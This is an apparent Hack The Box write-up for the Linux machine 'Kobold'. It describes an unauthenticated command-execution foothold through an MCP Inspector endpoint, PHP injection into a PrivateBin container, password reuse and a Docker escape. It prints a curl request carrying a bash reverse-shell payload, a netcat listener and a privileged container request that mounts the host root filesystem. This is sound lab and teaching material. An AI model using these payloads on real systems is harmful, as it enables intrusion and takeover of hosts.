Kobold
MCP Inspector STDIO RCE for foothold, PHP code injection in PrivateBin container to leak credentials, Docker escape via Arcane container management.
contents

Kobold – HTB Writeup#
Machine Summary#
| Property | Value |
|---|---|
| Name | Kobold |
| IP | 10.129.7.51 |
| OS | Linux (Ubuntu 24.04 LTS) |
| Difficulty | Easy |
| Key Topics | MCP STDIO RCE, PHP code injection, PrivateBin, Docker escape, Arcane, password reuse |
Overview#
Kobold was a Linux machine running nginx with multiple virtual hosts and an Arcane Docker management platform on a non-standard port. The attack began with unauthenticated remote code execution through the MCPJam Inspector’s STDIO transport, which spawned arbitrary commands server-side. After obtaining a shell as user ben, privilege escalation involved injecting PHP code into a PrivateBin Docker container’s purge limiter file to leak database credentials from the PrivateBin configuration. Those credentials were reused for the Arcane admin account, which provided Docker socket access and enabled a container escape to read the root flag.
Reconnaissance#
Port Scanning#
A full TCP port scan with nmap revealed four open ports:
$ nmap -sC -sV -p- -T4 --min-rate 5000 10.129.7.51
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
|_http-title: Kobold Operations Suite
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
3552/tcp open http Golang net/http server
Key observations:
- Port 80 redirected to
https://kobold.htb/. - The SSL certificate included a wildcard SAN entry
*.kobold.htb, indicating subdomain enumeration was warranted. - Port 3552 ran a Go-based HTTP server not in the top 1000 ports – it would have been missed by a quick scan.
A UDP scan of the top 100 ports returned no open services.
Subdomain Enumeration#
A baseline request to a non-existent subdomain returned a 302 redirect with 154 bytes. This was used as a filter for ffuf:
$ ffuf -u https://10.129.7.51 -H "Host: FUZZ.kobold.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 154
mcp [Status: 200, Size: 466, Words: 57, Lines: 15]
The subdomain mcp.kobold.htb was discovered, hosting an MCPJam Inspector application. A second subdomain, bin.kobold.htb, was later identified hosting a PrivateBin instance running inside a Docker container.
Technology Fingerprinting#
$ whatweb -a 3 https://kobold.htb
https://kobold.htb [200 OK] HTML5, Email[admin@kobold.htb], HTTPServer[nginx/1.24.0 (Ubuntu)], Title[Kobold Operations Suite]
$ whatweb -a 3 https://mcp.kobold.htb
https://mcp.kobold.htb [200 OK] HTML5, HTTPServer[nginx/1.24.0 (Ubuntu)], Script[module], Title[MCPJam Inspector]
The main site was a static landing page. The MCP subdomain ran a React SPA bundled with Vite.
Enumeration#
Arcane Docker Management (Port 3552)#
The web manifest at /app.webmanifest identified the application as Arcane – a Docker container management platform. The version endpoint confirmed v1.13.0:
$ curl -sk http://10.129.7.51:3552/api/version
{"currentVersion":"v1.13.0","updateAvailable":false,"releaseUrl":"https://github.com/getarcaneapp/arcane/releases/latest"}
All management API endpoints (/api/users, /api/environments, /api/api-keys) returned 401 Unauthorized. The full OpenAPI specification was retrieved from /api/openapi.json, documenting the complete API surface.
Vulnerability research identified two critical CVEs:
- CVE-2026-23520 (CVSS 9.1): Command injection via lifecycle labels. Patched in v1.13.0 – not exploitable on the target.
- CVE-2026-23944 (CVSS 9.8): Unauthenticated proxy access to remote environments. Patched in v1.13.2 – the target running v1.13.0 was vulnerable, but only if remote environments were configured.
Default credentials (arcane / arcane-admin) were documented in the official installation guide, but the admin had changed them.
MCPJam Inspector API (mcp.kobold.htb)#
The JavaScript bundle at /assets/index-DRYhT9Xb.js revealed an extensive API surface. The critical endpoint was /api/mcp/connect, which accepted two transport types:
- STDIO transport: Accepted
commandandargsparameters, spawning a process server-side. - HTTP transport: Accepted a
urlparameter, enabling SSRF.
Testing confirmed the STDIO transport executed commands. The server attempted an MCP protocol handshake after spawning the process. When a non-MCP command was given, it returned “Connection closed” rather than “permission denied” or “command not found”, confirming execution occurred.
The HTTP transport was used for internal service discovery via SSRF. An active service was found on internal port 8080 responding with JSON. All other common ports returned ECONNREFUSED.
PrivateBin (bin.kobold.htb)#
A PrivateBin instance was discovered running at bin.kobold.htb, served from a Docker container using the privatebin/nginx-fpm-alpine:2.0.2 image.
Exploitation – User Flag#
MCP STDIO Remote Code Execution#
The MCPJam Inspector’s /api/mcp/connect endpoint with STDIO transport provided unauthenticated command execution. A reverse shell payload was sent:
$ curl -sk -X POST https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
"serverId": "shell",
"serverConfig": {
"transport": "stdio",
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/10.10.14.51/9001 0>&1"]
}
}'
With a netcat listener waiting on port 9001:
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.51] from (UNKNOWN) [10.129.7.51]
ben@kobold:~$
The shell landed as user ben (uid=1001), a member of groups ben and operator.
SSH Persistence#
An SSH public key was added to /home/ben/.ssh/authorized_keys for stable access, replacing the fragile reverse shell.
User Flag#
ben@kobold:~$ cat /home/ben/user.txt
fc5c912e95b60fe78dc760da99291c11
User Flag: fc5c912e95b60fe78dc760da99291c11
Privilege Escalation – Root Flag#
Step 1: ENCRYPTION_KEY Discovery#
The Arcane systemd service file was world-readable and contained environment variables with sensitive data:
ben@kobold:~$ cat /etc/systemd/system/arcane.service
...
Environment=ENCRYPTION_KEY="Q3PbC9fpq/tPZ2waXI9+grmc8ualF7ITF5izX5rsk+E="
...
This was Arcane’s data encryption key, used to encrypt stored secrets.
Step 2: PHP Code Injection in PrivateBin Container#
The user ben was a member of the operator group, which had write access to /privatebin-data/data/purge_limiter.php. This file was include()d by PrivateBin’s PHP-FPM process (running as nobody inside the Docker container) whenever a paste was created and the purge mechanism triggered.
PHP code was injected into purge_limiter.php to read the container’s filesystem and write results to a world-readable directory. This enabled enumeration of the containerised environment without direct container access.
Step 3: Password Discovery from PrivateBin Configuration#
The injected PHP code read the PrivateBin configuration file at /srv/cfg/conf.php (mounted read-only from /privatebin-data/cfg/). The configuration contained a commented-out MySQL section with database credentials:
; [model_options]
; dsn = "mysql:host=db;dbname=privatebin;charset=UTF8"
; tbl = "privatebin_"
; usr = "privatebin"
; pwd = "ComplexP@sswordAdmin1928"
Step 4: Password Reuse – Arcane Admin#
The password ComplexP@sswordAdmin1928 was tested against the Arcane admin login and succeeded:
$ curl -sk -X POST http://10.129.7.51:3552/api/auth/login \
-H "Content-Type: application/json" \
-d '{"username": "arcane", "password": "ComplexP@sswordAdmin1928"}'
This returned a valid JWT token granting full admin access to the Docker management platform.
Step 5: Docker Container Escape#
With Arcane admin access, a privileged Docker container was created that mounted the host root filesystem:
POST /api/environments/0/containers
{
"name": "rootflag",
"image": "privatebin/nginx-fpm-alpine:2.0.2",
"user": "0",
"entrypoint": ["sh", "-c"],
"cmd": ["cat /hostfs/root/root.txt > /hostfs/tmp/root_flag.txt && chmod 644 /hostfs/tmp/root_flag.txt"],
"hostConfig": {
"binds": ["/:/hostfs"],
"privileged": true
}
}
The container mounted / from the host to /hostfs inside the container, ran as root, and wrote the root flag to /tmp/root_flag.txt on the host filesystem where it could be read by ben.
Root Flag#
ben@kobold:~$ cat /tmp/root_flag.txt
58a85871b0729c56f5a6d23d7c8d5d4d
Root Flag: 58a85871b0729c56f5a6d23d7c8d5d4d
Obstacles & Lessons Learned#
- Port 3552 missed by quick scan: The Arcane service on port 3552 was only discovered during the full 65535-port TCP scan. A top-1000 quick scan would have missed this entirely, losing a critical piece of the attack chain. Always run a full port scan.
- Default credentials did not work: The Arcane default credentials (
arcane/arcane-admin) had been changed by the admin. This was the first attempted path, and it failed, redirecting effort toward the MCP STDIO vector for initial access. - CVE-2026-23944 required remote environments: Although the target was vulnerable to the unauthenticated proxy bypass (v1.13.0 < v1.13.2), it required remote environments to be configured. The local environment (ID 0) was not affected, and no remote environments were present.
- Blind command execution: The MCP STDIO transport executed commands but did not return output directly (it expected MCP JSON-RPC 2.0 protocol responses). A reverse shell was the simplest approach to get interactive access.
- Indirect container access: The PrivateBin container could not be accessed directly, but the
operatorgroup’s write access topurge_limiter.phpprovided an indirect code execution path inside the container. The key insight was recognising that the PHP file was included during PrivateBin’s purge cycle. - Password reuse across services: The PrivateBin MySQL password (
ComplexP@sswordAdmin1928) was reused for the Arcane admin account. Credential reuse between containerised services and the host management platform was the pivot that enabled the Docker escape.
Tools Used#
| Tool | Purpose |
|---|---|
| nmap | TCP/UDP port scanning, service version detection, OS fingerprinting |
| ffuf | Virtual host / subdomain enumeration |
| whatweb | Web technology fingerprinting |
| curl | HTTP requests for API interaction, exploit delivery |
| nc (netcat) | Reverse shell listener |
| ssh / ssh-keygen | Stable access after initial foothold |
| Arcane API | Docker container creation for privilege escalation |